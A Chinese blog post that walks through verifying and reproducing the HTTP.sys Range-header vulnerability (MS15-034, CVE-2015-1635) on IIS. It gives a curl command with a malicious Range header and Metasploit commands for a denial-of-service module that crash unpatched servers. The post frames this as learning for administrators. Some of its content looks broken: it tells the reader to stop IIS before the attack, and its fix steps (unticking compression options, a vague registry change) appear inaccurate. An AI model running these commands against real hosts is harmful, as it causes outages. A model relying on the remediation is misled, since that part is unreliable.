HTTP.SYS远程代码执行漏洞验证及其复现(CVE-2015-1635蓝屏洞)

开发者心声 2024-08-20 ⋅ 40 阅读

简介

在2015年,Microsoft发布了一个安全公告(MS15-034),其中描述了一个名为CVE-2015-1635的漏洞,这个漏洞拥有严重的远程执行代码漏洞的潜在风险。该漏洞存在于Microsoft Windows的HTTP协议栈(http.sys)中,攻击者可以通过发送恶意请求来触发这个漏洞,从而导致目标系统的蓝屏崩溃。本文将向您展示如何验证和复现这个漏洞。

验证

首先,我们需要一个可以运行IIS的Windows系统作为目标,以便使用HTTP协议栈。我们将使用本地环境进行验证。

  1. 打开命令提示符,输入以下命令,启动IIS服务:

    iisreset /start
    
  2. 打开浏览器,输入http://localhost,确保IIS服务正常运行。

  3. 打开另一个命令提示符,输入以下命令,使用curl发送一个恶意请求:

    curl -v http://localhost -H "Range: bytes=18-18446744073709551615"
    

    这个请求会导致服务器进入死锁状态,最终可能导致蓝屏崩溃。

  4. 如果目标系统没有崩溃,并返回一个“请求范围无效”(416)响应,那么表示目标系统已经修复了该漏洞。否则,您可能需要更新目标系统的补丁或使用其他方法进行进一步验证。

复现

在验证成功之后,我们可以尝试复现该漏洞。复现的目的是为了更深入地了解漏洞的工作原理,并为系统管理员提供进一步加固和修复系统的方法。

  1. 准备一个Windows系统,确保其运行了受影响的IIS版本(包括未修复的漏洞)。关闭IIS服务。

  2. 下载PoC代码,并保存为ms15_034_ulonglongadd.rb

  3. 使用Metasploit Framework运行这个PoC代码。

    msfconsole
    use auxiliary/dos/http/ms15_034_ulonglongadd
    set RHOSTS <目标IP>
    run
    
  4. 如果一切顺利,您会看到目标系统崩溃并出现蓝屏。这证明了漏洞的利用成功。

修复

Microsoft已经发布了相关的安全补丁,系统管理员应该及时更新受影响的系统,以确保能够防范此漏洞的利用。

根据Microsoft的建议,您可以执行以下操作来修复此漏洞:

  • Windows 8.1及更高版本:

    1. 运行Windows Update,确保已安装了最新的安全补丁。
    2. 确保Windows防火墙开启,以阻止恶意请求。
  • Windows Server 2008 R2及更高版本:

    1. 打开服务器管理器,选择“角色”->“Web服务器(IIS)”->“角色服务”,确保“静态内容压缩”和“动态内容压缩”未勾选。
    2. 通过运行Windows Update来安装最新的安全补丁。
  • Windows 7和Windows Server 2008:

    1. 参考Microsoft的安全公告(MS15-034),手动应用安全补丁。
    2. 使用注册表修改来禁用远程解析(具体方法请参考相关文档)。

结论

CVE-2015-1635是一个严重的远程执行代码漏洞,可以导致目标Windows系统的蓝屏崩溃。通过验证和复现这个漏洞,我们可以更好地理解其工作原理,并采取相应的修复措施。系统管理员应当定期检查并更新受影响的系统,以确保系统安全。


全部评论: 0

    我有话说: